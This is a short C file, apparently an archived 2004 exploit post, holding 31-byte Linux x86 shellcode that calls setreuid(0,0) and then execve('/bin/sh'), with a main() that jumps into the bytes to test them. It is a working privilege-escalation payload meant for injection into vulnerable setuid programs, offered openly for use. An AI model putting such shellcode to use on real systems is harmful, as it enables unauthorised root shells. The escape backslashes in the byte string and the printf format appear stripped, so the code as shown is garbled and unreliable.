/* 31 byte setreuid() shellcode - # man shadow
* os: Slackware 9.1, Phlak 2.4, Knoppix 0.1
*
* www.manshadow.org
* r-22@manshadow.org
* irc.efnet.net #_man_shadow
*/

char shellcode[] =
"x31xC9"              /* xor ecx,ecx     */
"x31xDB"              /* xor ebx,ebx     */
"x6Ax46"              /* push byte 70    */
"x58"                  /* pop eax         */
"xCDx80"              /* int 80h         */
"x51"                  /* push ecx        */
"x68x2Fx2Fx73x68"  /* push 0x68732F2F */
"x68x2Fx62x69x6E"  /* push 0x6E69622F */
"x89xE3"              /* mov ebx,esp     */
"x51"                  /* push ecx        */
"x53"                  /* push ebx        */
"x89xE1"              /* mov ecx,esp     */
"x99"                  /* cdq             */
"xB0x0B"              /* mov al,11       */
"xCDx80";             /* int 80h         */

int main(int argc, char *argv[]) {
       void (*sc)() = (void *)shellcode;
       printf("len:%dn", strlen(shellcode));
       sc();
       return 0;
}

// www.Syue.com [2004-12-26]